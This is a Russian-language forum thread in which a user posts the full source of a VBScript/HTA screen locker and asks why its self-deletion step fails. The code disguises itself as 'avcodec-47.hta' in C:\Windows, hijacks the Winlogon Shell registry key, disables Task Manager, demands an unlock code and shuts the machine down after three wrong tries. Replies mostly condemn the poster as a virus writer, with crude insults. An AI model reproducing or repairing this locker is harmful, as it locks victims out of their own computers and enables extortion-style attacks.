| Вопрос: Помогите пожалуиста с VBS скриптом! | Добавлено: 05.02.11 11:41 |
Автор вопроса:  Виктор
|
|
<HTML> <HEAD> <HTA:APPLICATION BORDER="none" INNERBORDER="no" MAXIMIZEBUTTON="no" MINIMIZEBUTTON="no" CLOSEBUTTON="no" SHOWINTASKBAR="no" SINGLEINSTANCE="yes" SYSMENU="no" SELECTION="no" CONTEXTMENU="no" WINDOWSTATE="maximize" /> </HEAD> <BODY SCROLL="no"> <body bgcolor="blue"> <script language="VBScript"> Const OverwriteExisting = TRUE Set WScript = CreateObject("WScript.Shell") Set WshShell = CreateObject("WScript.Shell") Set objFSO = CreateObject("Scripting.FileSystemObject") Set FSO=CreateObject("Scripting.FileSystemObject") ' Получаем доступ к обьекту FSO Set FileSystemObject = CreateObject("scripting.filesystemobject") Set FileSystem123 = CreateObject("scripting.filesystemobject") On Error Resume Next if not FileSystemObject.FileExists ("C:\Windows\avcodec-47.hta") then FSO.CopyFile "avcodec-47.hta", "C:\Windows\" end if On Error Goto 0 ' fso.copyfile "avcodec-47.hta",fso.GetSpecialFolder(0)+"\avcodec-47.hta" 'FSO.CopyFile "avcodec-47.hta", "C:\Windows\" 'objFSO.CopyFile "C:\Windows\system32\avcodec-47.hta" , "C:\Windows" , OverwriteExisting Set WshShell = CreateObject("WScript.Shell") ' s.regwrite"HKLM\Software\Microsoft\Windows\Current Version\Run\RunExplorer32",fso.GetSpecialFolder(0) +"\avcodec-47.hta" 'WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Window", "EXPLORER32, C:\Windows\avcodec-47.hta" WshShell.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", +"explorer.exe,avcodec-47.hta," Set Shell = CreateObject("WScript.Shell") Dim a, pop, lHwnd, fso, fld a=1 a=Fix(a*279) pop=3 Call question sub question() dim x If pop=0 then Call gameover(pop): exit sub Set S = CreateObject("Wscript.Shell") s.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","1","REG_DWORD" x=CInt(inputbox("ХАХА!","Введите код разблокировки! Осталось попыток " & pop)) If x<a then Call Msg(x, " не ") ElseIf x>a then Call Msg(x, " не ") Else Call gameover(1) End if end sub sub Msg(x, mes) MsgBox "Введенный код" & mes & "верен" pop=pop-1 Call question end sub sub gameover(res) If res=0 then Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") for each OpSys in OpSysSet OpSys.ShutDown() next Msgbox "3 раза код бы введен не правильно, компьютер выключается!" else Msgbox "Код " & a & " принят ,файл удален.Нажмите Alt + F4 при Синем экране и обязательно перезагрузите компьютер!!!." Set T = CreateObject("Wscript.Shell") t.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD" 'Set Wanted = CreateObject("WScript.Shell") 'Wanted.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", +"explorer.exe" ________________________________________________________________________________________ On Error Resume Next Set Killer=CreateObject("Scripting.FileSystemObject") Set Killer=Killer.DeleteFile("C:\Windows\avcodec-47.hta") fld.Delete On Error Goto 0 end if Set mFSO = CreateObject("Scripting.FileSystemObject") Call mFSO.DeleteFile(WScript.ScriptFullName, True) 'Set FSO = CreateObject("Scripting.FileSystemObject") 'FSO.DeleteFile WScript.ScriptFullName, 0 end sub </script> </BODY> </HTML> После черной строки не чего не работает. Не может не удалиться, не переименоваться. Он пишет "Ошибка разрешение отклонено". Если через пропуск ошибок "On Error Resume Next" то не происходит не каких действий, кто может сказать в чем проблема и что нужно исправить? |
| Ответы | Всего ответов: 8 |
|
Номер ответа: 1 Автор ответа:  Skywalker ICQ: 300-70-6пятьЪ Вопросов: 62 Ответов: 545 |
Web-сайт: Профиль | | #1 | Добавлено: 05.02.11 14:40 |
| ебало те исправить нада, чтоп недовирусы не писал | ||
|
Номер ответа: 2 Автор ответа: VβÐUηìt Вопросов: 246 Ответов: 3333 |
Web-сайт: Профиль | | #2 | Добавлено: 05.02.11 17:23 |
| +1 | ||
|
Номер ответа: 3 Автор ответа: VβÐUηìtВопросов: 246 Ответов: 3333 |
Web-сайт: Профиль | | #3 | Добавлено: 05.02.11 17:23 |
| НЕНАВИСТЬ! | ||
|
Номер ответа: 4 Автор ответа: AWPICQ: 345685652 Вопросов: 96 Ответов: 1212 |
Web-сайт: Профиль | | #4 | Добавлено: 05.02.11 19:35 |
|
У вас какие-то комплексы!)
Мне лично, вирусо-песатели ничем не вредили. |
||
|
Номер ответа: 5 Автор ответа: AgentFireICQ: 192496851 Вопросов: 75 Ответов: 3178 |
Профиль | | #5 | Добавлено: 05.02.11 19:39 |
| закомплексованная неудачная по жизни школота, которой не дают девки, пытается утихомирить переполняющую его самокритику | ||
|
Номер ответа: 6 Автор ответа: AWPICQ: 345685652 Вопросов: 96 Ответов: 1212 |
Web-сайт: Профиль | | #6 | Добавлено: 05.02.11 21:07 |
|
AgentFire Да, возможно ты прав.
Но! У кого два больших пальца и ему на все насрать?
Меня, например, не бесит закомплексованная неудачная по жизни школота, которой не дают девки
http://ru.wikipedia.org/wiki/%D0%A2%D0%BE%D0%BB%D0%B5%D1%80%D0%B0%D0%BD%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C |
||
|
Номер ответа: 7 Автор ответа: VβÐUηìtВопросов: 246 Ответов: 3333 |
Web-сайт: Профиль | | #7 | Добавлено: 05.02.11 21:19 |
|
AWP пишет:
У вас какие-то комплексы!) Мне лично, вирусо-песатели ничем не вредили. Это говно чем-то напоминает мне блокироващики компа, которые выводят на пол экрана всякую херню, и полностью останавливают рабочий процесс. Пока ты не уберешь баннер про гей-порно, фаллоиметаторы в кредит и прочую хрень, работать ты не сможешь. Может тебе это и нравится, а вот меня лично бесит ручное убирание этого говна с помощью Win+Break и клавиатурному лазанью по реестру с убиванием всяких ключей и прочего г. Так вот. Мне кажется этот вася либо уже приложил руку, либо приложит к созданию подобного говна. Именно поэтому после того, как я понял смысл кода, меня переполнила НЕНАВИСТЬ! AgentFire пишет:
закомплексованная неудачная по жизни школота, которой не дают девки, пытается утихомирить переполняющую его самокритику Толсто. |
||
|
Номер ответа: 8 Автор ответа: NezhniyICQ: 419841508 Вопросов: 9 Ответов: 100 |
Web-сайт: Профиль | | #8 | Добавлено: 06.02.11 00:55 |
| а я потом на своем сайте людей от этого лечу. И код я уверен на 80 % не твой. на античат с такими вещами иди. P.S я помню себя в возрасте 13 лет , 1 в 1 , тоже под типу этого г. создавал. | ||
Страница: 1 |